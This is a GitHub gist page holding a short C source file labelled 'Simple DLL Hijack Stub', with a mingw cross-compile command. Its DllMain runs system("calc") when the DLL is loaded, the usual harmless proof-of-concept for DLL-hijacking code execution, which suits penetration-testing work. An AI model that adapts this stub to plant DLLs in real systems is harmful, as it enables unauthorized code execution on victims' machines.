Created
February 7, 2021 17:50
-
-
Save mirchr/8420d6acf072cf388e7145babe88ca18 to your computer and use it in GitHub Desktop.
Simple DLL Hijack Stub
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Cross Compile with | |
i686-w64-mingw32-g++ calc.c -o calc32.dll -shared | |
*/ | |
#include <windows.h> | |
BOOL WINAPI DllMain( | |
HINSTANCE hinstDLL, | |
DWORD fdwReason, | |
LPVOID lpReserved ) | |
{ | |
switch( fdwReason ) | |
{ | |
case DLL_PROCESS_ATTACH: | |
system("calc"); | |
break; | |
case DLL_THREAD_ATTACH: | |
// Do thread-specific initialization. | |
break; | |
case DLL_THREAD_DETACH: | |
// Do thread-specific cleanup. | |
break; | |
case DLL_PROCESS_DETACH: | |
// Perform any necessary cleanup. | |
break; | |
} | |
return TRUE; // Successful DLL_PROCESS_ATTACH. | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment